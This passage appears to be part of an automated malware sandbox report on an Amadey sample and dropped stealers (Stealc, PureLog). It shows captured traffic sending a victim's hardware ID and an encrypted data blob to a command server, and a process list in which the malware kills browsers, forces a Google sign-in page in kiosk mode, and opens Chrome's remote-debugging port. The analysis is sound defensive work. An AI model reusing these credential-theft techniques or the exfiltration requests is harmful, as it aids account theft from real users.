2024-12-18 16:14:55 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:14:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	50390	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:56 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=187CHGJZS0542Y5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1334 Host: grannyejh.lat
2024-12-18 16:14:56 UTC	1334	OUT	Data Raw: 2d 2d 31 38 37 43 48 47 4a 5a 53 30 35 34 32 59 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 38 37 43 48 47 4a 5a 53 30 35 34 32 59 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 38 37 43 48 47 4a 5a 53 30 35 34 32 59 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 31 38 37 43 48 Data Ascii: --187CHGJZS0542Y5Content-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--187CHGJZS0542Y5Content-Disposition: form-data; name="pid"1--187CHGJZS0542Y5Content-Disposition: form-data; name="lid"PsFKDg--pablo--187CH
2024-12-18 16:14:57 UTC	1027	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f9m6ajelhno1o7kasaq9irsqui; expires=Sun, 13-Apr-2025 10:01:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FD5v3PiGw9zCatvLnOmrquHljKbgIhcG96MJPHqeolqIjwQdcFnK%2BJrgMij9Ao1bfeaytmAbok76MYSZWCgTLI7zEZ7YzFUM46b3FUar779d1MeLjdmNZ3Th9R7f7McC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072e38e0e4294-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1767&min_rtt=1766&rtt_var=663&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2245&delivery_rate=1653454&cwnd=213&unsent_bytes=0&cid=1e047fd236b0fe8f&ts=745&x=0"
2024-12-18 16:14:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:14:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	50392	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:58 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GLB4ACY2D5YFNC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 29549 Host: grannyejh.lat
2024-12-18 16:14:58 UTC	15331	OUT	Data Raw: 2d 2d 47 4c 42 34 41 43 59 32 44 35 59 46 4e 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 47 4c 42 34 41 43 59 32 44 35 59 46 4e 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 47 4c 42 34 41 43 59 32 44 35 59 46 4e 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 47 4c 42 34 41 43 59 32 Data Ascii: --GLB4ACY2D5YFNCContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--GLB4ACY2D5YFNCContent-Disposition: form-data; name="pid"1--GLB4ACY2D5YFNCContent-Disposition: form-data; name="lid"PsFKDg--pablo--GLB4ACY2
2024-12-18 16:14:58 UTC	14218	OUT	Data Raw: a0 61 e1 bb b5 85 a4 a2 be b7 6e dc 5a 89 c9 6f 0d 37 33 24 7c f5 12 29 1e 50 51 4b c2 da c6 6e f9 6d 37 3e ba 07 00 b9 05 ae d7 ff 18 35 e6 4f bc 17 8e 45 0f d6 01 a0 4b 3f 94 36 b8 fd e4 f8 0f 56 d3 cd b0 aa 2c 9e 69 9f 3c 30 65 fc da 99 98 67 d6 0e ab 01 57 a8 02 5c b2 72 fa 6f b6 8b 13 60 23 e0 52 ff 5c be b1 7c f8 39 50 9b 91 c4 64 4f 7a da a5 48 a6 f2 13 7a ff 2d 6d e5 a3 21 ea e3 81 af 6c 1b c9 b0 ee 55 5d 6c 2d db 7e f1 e2 41 b1 15 5d 10 5b 91 fd c6 e9 02 fb e4 47 49 d7 e3 a6 24 cc 4c 5b ba d2 84 c8 39 72 0e d2 2e c7 91 74 33 43 5d 72 82 d2 f6 be 01 ec 07 3b 22 ae eb a6 0f cd bf 2b 82 d4 fa 1e 05 5f 0a 7c 03 d4 78 e1 e6 14 e6 bf 35 a6 cb 03 6d fc 84 44 af cf 09 fa 6f 6d 3b cf c3 df 7a 2f 15 6f 5e 8a 52 eb 8f 3d 5a b5 1b 48 4d 79 64 30 cc 8f f2 84 Data Ascii: anZo73$\|)PQKnm7>5OEK?6V,i<0egW\ro`#R\\|9PdOzHz-m!lU]l-~A][GI$L[9r.t3C]r;"+_\|x5mDom;z/o^R=ZHMyd0
2024-12-18 16:14:59 UTC	1044	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g3mmd0svimcc8rlkuqsr5i17ll; expires=Sun, 13-Apr-2025 10:01:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zqwl%2B2C8ML5hTiyoiMypw0KO9%2FC5nH%2FhQ000mTbya6vt5Rshgj%2BLZ%2FufStymjQG9RzeQuFpTVn%2FUNEp%2F3Hnq7XS1wNnYXoQhrqsAvPW8mJIIFuXuDN%2F9y%2Biv5dziyrMn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072f20a58c345-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1689&min_rtt=1679&rtt_var=651&sent=14&recv=32&lost=0&retrans=0&sent_bytes=2830&recv_bytes=30526&delivery_rate=1653454&cwnd=178&unsent_bytes=0&cid=a31e3d6bd7880df6&ts=873&x=0"
2024-12-18 16:14:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:14:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	50394	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:15:00 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: grannyejh.lat
2024-12-18 16:15:00 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=8B2BACE9145C30D4AC8923850305D13E
2024-12-18 16:15:01 UTC	1032	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:15:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b2n3opqrl1kcuto8gv94dbjdb0; expires=Sun, 13-Apr-2025 10:01:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ju%2FM5HMHZxNDAFcTPutlkfYVJ0ybqjeS4FnBy6oUXIhLQYS3oaYC%2Bk16vRbxmo7el%2FUlB7wUKUTG3ar9VATaijBHVlhsJkoy3Oe98Hvy3rwskss3qQ8a9%2Fh23HaGK01c"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4073002b838cb1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2481&min_rtt=1859&rtt_var=1141&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=979&delivery_rate=1570736&cwnd=186&unsent_bytes=0&cid=61640adf942e3f3a&ts=1055&x=0"
2024-12-18 16:15:01 UTC	214	IN	Data Raw: 64 30 0d 0a 67 4f 47 4b 73 38 69 4a 6d 63 75 31 58 6b 73 6b 6b 49 37 7a 74 6e 36 6a 64 51 37 2f 67 68 6d 6e 56 68 34 44 79 54 74 54 34 2f 6e 62 6d 71 6a 47 36 72 4f 37 6f 38 45 71 4f 78 37 4d 6f 61 2b 5a 54 35 74 41 49 4d 32 7a 4c 49 6c 6e 4c 7a 44 6e 43 6d 57 2f 31 75 2b 48 37 4f 2f 6e 37 66 79 74 6d 7a 73 7a 51 62 4b 69 30 64 41 4b 67 55 38 2b 30 36 42 38 68 57 77 75 66 75 56 41 63 5a 62 62 75 73 50 69 78 37 7a 35 6f 35 65 61 41 6d 51 56 71 4c 76 64 68 45 2b 57 57 7a 2f 4f 73 54 65 57 59 45 49 73 75 6b 38 32 67 70 54 63 7a 76 6a 53 70 75 33 32 70 70 73 37 4d 30 47 79 6f 74 48 51 43 6f 46 50 50 74 4f 67 66 49 56 73 4c 6e 36 55 0d 0a Data Ascii: d0gOGKs8iJmcu1XkskkI7ztn6jdQ7/ghmnVh4DyTtT4/nbmqjG6rO7o8EqOx7Moa+ZT5tAIM2zLIlnLzDnCmW/1u+H7O/n7fytmzszQbKi0dAKgU8+06B8hWwufuVAcZbbusPix7z5o5eaAmQVqLvdhE+WWz/OsTeWYEIsuk82gpTczvjSpu32pps7M0GyotHQCoFPPtOgfIVsLn6U
2024-12-18 16:15:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:07:12
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x3c0000
File size:	3'034'624 bytes
MD5 hash:	17773F6AB422D27012D0F813EEC77035
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1767862470.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:07:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xaa0000
File size:	3'034'624 bytes
MD5 hash:	17773F6AB422D27012D0F813EEC77035
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1796426349.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:08:00
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xaa0000
File size:	3'034'624 bytes
MD5 hash:	17773F6AB422D27012D0F813EEC77035
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2242783605.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:08:14
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe"
Imagebase:	0x490000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 26%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:08:14
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe"
Imagebase:	0x830000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:08:26
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe"
Imagebase:	0xc20000
File size:	4'441'600 bytes
MD5 hash:	8841698B335573B0ABE7875B85B653D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:08:35
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe"
Imagebase:	0x7a0000
File size:	1'856'000 bytes
MD5 hash:	6A31EF4963E7F7D4FCC0927F58A5DBF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:08:46
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe"
Imagebase:	0xdf0000
File size:	2'903'552 bytes
MD5 hash:	3BB75CB881E430E48EC13D73D43ABE49
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000003.2723142079.0000000005020000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.3259779000.0000000000DF1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.3272425703.000000000149E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	11:08:48
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe"
Imagebase:	0x7a0000
File size:	1'856'000 bytes
MD5 hash:	6A31EF4963E7F7D4FCC0927F58A5DBF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:08:53
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe"
Imagebase:	0x740000
File size:	967'680 bytes
MD5 hash:	4E38B1008D236084740A6C44FBC4EBF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:08:55
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:08:55
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:08:56
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe"
Imagebase:	0x7a0000
File size:	1'856'000 bytes
MD5 hash:	6A31EF4963E7F7D4FCC0927F58A5DBF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.3051218491.0000000001472000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.3079090418.0000000001472000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	11:08:58
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:08:58
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:08:58
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:08:58
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71e800000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:08:58
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:08:58
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:08:59
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:08:59
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:08:59
Start date:	18/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:08:59
Start date:	18/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:08:59
Start date:	18/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	11:09:00
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	11:09:02
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe"
Imagebase:	0x270000
File size:	1'731'584 bytes
MD5 hash:	7BE93AFF7CEF5AD80C82706349B7FED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	11:09:02
Start date:	18/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a9f21155-d74f-4b5e-8ecf-36b414f26712} 3412 "\\.\pipe\gecko-crash-server-pipe.3412" 1cea556e510 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	11:09:02
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
